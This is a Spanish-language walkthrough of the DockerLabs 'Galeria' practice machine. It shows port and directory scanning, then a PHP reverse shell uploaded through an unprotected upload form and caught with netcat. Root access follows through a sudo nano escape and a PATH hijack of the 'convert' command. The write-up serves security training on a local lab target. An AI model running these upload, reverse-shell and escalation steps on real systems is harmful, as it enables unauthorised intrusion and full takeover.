> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/galeria.md).

# Galeria

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Galeria** y pulsamos el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `galeria.zip`:

```bash
7z x galeria.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FvjWSHsmhLOuHlVAFvT7p%2FPasted%20image%2020250801105846.png?alt=media&amp;token=a0cc5476-51fe-4de4-8e05-73b84fe31f17" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `galeria.tar`:

```bash
bash auto_deploy.sh galeria.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F4Np9x9kZOjbuEky1UKv9%2FPasted%20image%2020250801105915.png?alt=media&amp;token=beb62b45-965f-43ec-acf5-23fa43f123c6" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FFRQ4BM99IrEvjyPS0g8U%2FPasted%20image%2020250801110018.png?alt=media&amp;token=9cc3443f-bd27-4236-844b-73858b75f90b" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos (1-65535).
* `--open`: Muestra solo puertos abiertos.
* `-sS`: Escaneo SYN (stealth, no completa la conexión TCP).
* `--min-rate 5000`: Acelera el escaneo enviando 5000 paquetes/segundo.
* `-v`: Muestra información detallada durante el escaneo (modo verbose).
* `-n`: Evita resolución DNS.
* `-Pn`: Trata el host como activo (evita detección por `ping`).
* `-oG allPorts`: Guarda los resultados en formato Grepable, en el archivo `allPorts`.

**Puertos abiertos identificados:**

* **Puerto 21:** `FTP`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FIbvTuZ0EDgoOwdxgaiAm%2FPasted%20image%2020250801110100.png?alt=media&amp;token=625fcd34-93bc-465b-bafd-8835af004e6c" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo detallado para obtener más información de los puertos abiertos:

```bash
nmap -p21,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p21,80`: Especifica los puertos a escanear.
* `-sCV`: Escaneo de versiones (`-sV`) y ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda la salida en formato normal, en el archivo `targeted`.

**Resultados:**

* **Puerto 21:** Servicio FTP (`vsftpd 3.0.5`) con acceso anónimo habilitado.
* **Puerto 80:** Servidor web Apache (`httpd 2.4.58`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGAgVALPQZvFDqSU9zVP9%2FPasted%20image%2020250801110142.png?alt=media&amp;token=7e4f6b75-3433-4f23-b165-761827c5091a" alt=""><figcaption></figcaption></figure>

#### **2.4. Acceso al servicio FTP**

Accedemos al servicio FTP utilizando el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJDMoG0D8f5e58fs4GAFs%2FPasted%20image%2020250801110233.png?alt=media&amp;token=871e4fba-4eb4-47cf-98b5-7f48a8645863" alt=""><figcaption></figcaption></figure>

Listamos el contenido con:

```bash
ls -la
```

Observamos un directorio y varios archivos. Investigamos cada uno de ellos, pero no encontramos información relevante que nos ayude en la explotación.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fhq3rB6pB6n9A9z4IPy76%2FPasted%20image%2020250801110304.png?alt=media&amp;token=492701d4-e7e2-4c98-81de-43b2f75317e1" alt=""><figcaption></figcaption></figure>

#### **2.5. Acceso al servicio web**

Accedemos al servicio web a través del navegador (`http://172.17.0.2/`).

Visualizamos una página web, que contiene varias imágenes. Sin embargo, no encontramos información relevante que nos resulte útil para la explotación.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FE0KiSqvofgtxGt96QxMY%2FPasted%20image%2020250801110353.png?alt=media&amp;token=ba348608-fc60-4804-9129-2d0153483b2f" alt=""><figcaption></figcaption></figure>

#### **2.6. Enumeración de directorios y archivos**

Realizamos un ataque de fuerza bruta para descubrir directorios y archivos ocultos, utilizando la herramienta `gobuster`:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```

**Explicación de los parámetros:**

* `dir`: Modo de descubrimiento de directorios.
* `-u`: URL objetivo.
* `-w`: Lista de palabras utilizada para el descubrimiento.
* `-x`: Extensiones de archivo a buscar.

**Resultado:** Identificamos un directorio oculto llamado `gallery`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FvyP8jOdQQBrysKM1S5D6%2FPasted%20image%2020250801110514.png?alt=media&amp;token=66272fa1-9d8c-4627-9bc8-5d1b968a335d" alt=""><figcaption></figcaption></figure>

Accedemos al directorio mediante la siguiente URL: `http://172.17.0.2/gallery/`.

Una vez dentro, visualizamos una carpeta llamada `uploads`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FRirZQcVX0f1wh8OdZWJZ%2FPasted%20image%2020250801110537.png?alt=media&amp;token=4dc44142-09f6-489d-ad5e-0cd8c78256e2" alt=""><figcaption></figcaption></figure>

Accedemos a la carpeta a través de la siguiente URL: `http://172.17.0.2/gallery/uploads/`.

Una vez dentro, visualizamos un archivo llamado `handler.php`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fal6ScIiPLjTjYc9w2pmB%2FPasted%20image%2020250801110554.png?alt=media&amp;token=3172ce90-8dcd-49be-9baa-b6a0187b8689" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Subida de archivo malicioso**

Accedemos al apartado de subida de archivos a través de la siguiente URL: `http://172.17.0.2/gallery/uploads/handler.php`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FSUMP6QNqzh1uiMaBdpyR%2FPasted%20image%2020250801110631.png?alt=media&amp;token=785bebdf-d3a5-456b-a421-637c3f63c93b" alt=""><figcaption></figcaption></figure>

Creamos una reverse shell en PHP utilizando [revshells.com](https://www.revshells.com/).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FoWmvxA4uXLeJ4O7Vfwjy%2FPasted%20image%2020250801110827.png?alt=media&amp;token=b44185f1-257e-4fe7-a275-e0d0323ce19c" alt=""><figcaption></figcaption></figure>

Guardamos el código en un archivo y lo subimos al servidor mediante el formulario.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FsjBVHce2q2xxGM5e8MG9%2FPasted%20image%2020250801110957.png?alt=media&amp;token=645c2c81-a99a-4178-8c95-d8efb57af9e1" alt=""><figcaption></figcaption></figure>

Verificamos su presencia en `http://172.17.0.2/gallery/uploads/images/`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FVi8rGizB17mtZ2zCrhrb%2FPasted%20image%2020250801111015.png?alt=media&amp;token=52a2e831-53ae-43ea-a2c1-3cd6cc58bb57" alt=""><figcaption></figcaption></figure>

#### **3.2. Ejecución de la reverse shell**

Nos ponemos en escucha en nuestro equipo:

```bash
nc -nvlp 1234
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FLbUubUrVbDLdOk8uK0mJ%2FPasted%20image%2020250801111058.png?alt=media&amp;token=5b9d25d4-57e8-4b81-9522-4fd9f6133ab6" alt=""><figcaption></figcaption></figure>

Accedemos al archivo subido para ejecutar la reverse shell (`http://172.17.0.2/gallery/uploads/images/1.php`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FesutZIfjiXEFdb0Z2sEW%2FPasted%20image%2020250801111110.png?alt=media&amp;token=df2c368a-2975-49c0-b7af-9bc9fc0ca235" alt=""><figcaption></figcaption></figure>

Obtenemos acceso a la máquina como el usuario `www-data`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Foc3W7tZ19itv3AbgHQOF%2FPasted%20image%2020250801111120.png?alt=media&amp;token=3ce606f2-8446-4421-8b2f-d51989ffdbd3" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Escalada a usuario gallery**

Ejecutamos `sudo -l` para ver los comandos que podemos ejecutar con privilegios.

Descubrimos que podemos ejecutar `/bin/nano` como el usuario `gallery` sin contraseña:

```bash
(gallery) NOPASSWD: /bin/nano
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FjH5rE2r1s3USq6RFT0bq%2FPasted%20image%2020250801111245.png?alt=media&amp;token=66676125-b6d3-499a-929d-665d019cbfd5" alt=""><figcaption></figcaption></figure>

Utilizamos la técnica descrita en [GTFOBins](https://gtfobins.github.io/gtfobins/nano/) para escalar privilegios:

```bash
sudo -u gallery /bin/nano
```

Dentro de `nano`, presionamos:

```bash
^R^X
```

Luego escribimos:

```bash
reset; sh 1>&0 2>&0
```

**Resultado:** Obtenemos una shell como el usuario `gallery`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FgxDxx8mUYQgHnOP33NtN%2FPasted%20image%2020250801111554.png?alt=media&amp;token=1a64f700-6711-4a4b-b271-0c4eadc6a089" alt=""><figcaption></figcaption></figure>

#### **4.2. Escalada a usuario root**

Volvemos a ejecutar `sudo -l` y descubrimos que podemos ejecutar `/usr/local/bin/runme` como `root` sin contraseña:

```bash
(ALL) NOPASSWD: /usr/local/bin/runme
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fjuuy4fOCMu2TtOgmJIyS%2FPasted%20image%2020250801111630.png?alt=media&amp;token=f9066b1c-94dd-4d79-b45a-77e16a903765" alt=""><figcaption></figcaption></figure>

Analizamos el contenido del archivo:

```bash
cat /usr/local/bin/runme
```

Encontramos el siguiente comando:

```bash
convert /var/www/html/gallery/uploads/images/input.png /var/www/html/gallery/uploads/images/output.jpg
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXFXBnbedME9RoYFu58n9%2FPasted%20image%2020250801111909.png?alt=media&amp;token=5999e006-f4cc-472c-ab09-d4b685ac6549" alt=""><figcaption></figcaption></figure>

El archivo utiliza el comando `convert`, que no está definido en el sistema. Aprovechamos esto para realizar un ataque de **Path Hijacking**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FoRKRGg32jFDBCM9Rz7Rf%2FPasted%20image%2020250801111928.png?alt=media&amp;token=6455a1e1-1ec6-4fe9-bbac-648b1d3568f2" alt=""><figcaption></figcaption></figure>

Creamos un archivo llamado `convert` que inicia una shell con privilegios elevados:

```bash
echo "/bin/bash -p" > /home/gallery/convert
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FvUbRYtasFUeEHTfCpWTD%2FPasted%20image%2020250801112257.png?alt=media&amp;token=14382d36-3bf6-4973-88a2-d4651b4d7929" alt=""><figcaption></figcaption></figure>

Le damos permisos de ejecución:

```bash
chmod +x /home/gallery/convert
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FjUhciYQ4vV0l9HxLxAEo%2FPasted%20image%2020250801112245.png?alt=media&amp;token=3e030c75-5af7-424b-b911-8a70532c98fd" alt=""><figcaption></figcaption></figure>

Modificamos la variable `PATH` para que priorice nuestro archivo:

```bash
export PATH=/home/gallery:$PATH
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNUmGyeNSA5gEnbdt285g%2FPasted%20image%2020250801112325.png?alt=media&amp;token=64d1e287-d6e2-467e-ad5e-19866d9addf7" alt=""><figcaption></figcaption></figure>

Ejecutamos el script como `root`:

```bash
sudo -u root /usr/local/bin/runme
```

**Resultado:** Obtenemos una shell como `root`, completando la escalada de privilegios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FbGXqu6HXUzMeqEoZIY6i%2FPasted%20image%2020250801112441.png?alt=media&amp;token=28bd13c1-6f14-4cd3-842f-df8b28c1bb4e" alt=""><figcaption></figcaption></figure>
